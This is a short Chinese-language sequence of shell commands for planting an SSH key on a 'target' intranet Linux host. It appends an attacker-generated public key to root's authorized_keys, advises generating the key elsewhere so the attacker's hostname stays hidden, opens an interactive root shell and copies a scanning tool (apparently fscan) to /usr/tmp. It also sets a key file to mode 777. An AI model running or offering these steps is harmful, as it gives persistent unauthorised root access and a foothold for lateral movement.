启用ssh证书登录,并重启SSH 服务
echo RSAAuthentication yes >> /etc/ssh/sshd_config
echo PubkeyAuthentication yes >> /etc/ssh/sshd_config
systemctl restart sshd
# ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
注意:这一步最好去一个纯净的Linux生成,因为这个key会暴露你的主机名
//找见id_rsa.pub自行拷贝出来
ls -al /root/.ssh/
cp /root/.ssh/id_rsa.pub /home/xxxx/Desktop/
//赋于权限
chmod 777 /home/xxxx/Desktop/id_rsa.pub
id_rsa(私钥)
id_rsa.pub(公钥)
自行上传公钥到内网linux,并将其保存到/root/.ssh/目录下,文件名改为authorized_keys,或者命令执行用echo追加
如目标已事先存在authorized_keys文件,直接往最后追加即可
注意:再操作之前要对原authorized_keys进行“备份”,以备不时之需。
# echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8Zrks74SYQ4JzKFvYPyL2tG+Scx/y/gIDk5znJF6XKjJ2MFS7RfsjKqpRk7bb+bDpgb5awiMzMOUgwBDheJKerji9/FD+jHEI133ejCZphiPL0+OItLdl7uUt+NFMMPNeXh9lmDOwApxVg54xhDjyzWYaV6xQgvWuZK+6qNBD1TW2/zXImeHpC+L37KQSgFvtxyOiYw/Uq/Caoa9VkcFsUsJ1ftmKSh7unkEJiJAHpzmI0SquNdrgTJ5AiVclQbTa8viyl+irXYjUyvxWKCqBhMhuQQFEMRdViVStgSRoVREEH361J7T7oCC0rJE2XV8MlejXZGi7if34gYHYgyBKvEQ9/Ff+fkQV5LXdZLkC0h3wOBLV9lWwMamlFSjJMTSBlZP1syHYV/X1YNO76SmLUUi48PwDQa52g0tI2TusDmjgARWxwhCndu463dwbCcGjfHnSEAWEB2WGJcKOcpfGLUrdDt9My/d26dfMTNdlaw+kdnDVlYvk0qnyBBZhyfE= [email protected] >> /root/.ssh/authorized_keys
ssh -T root@192.168.1.1 /usr/bin/bash -i
scp -P 22 -r /root/fsacn [email protected]211.55.11:/usr/tmp/fsacn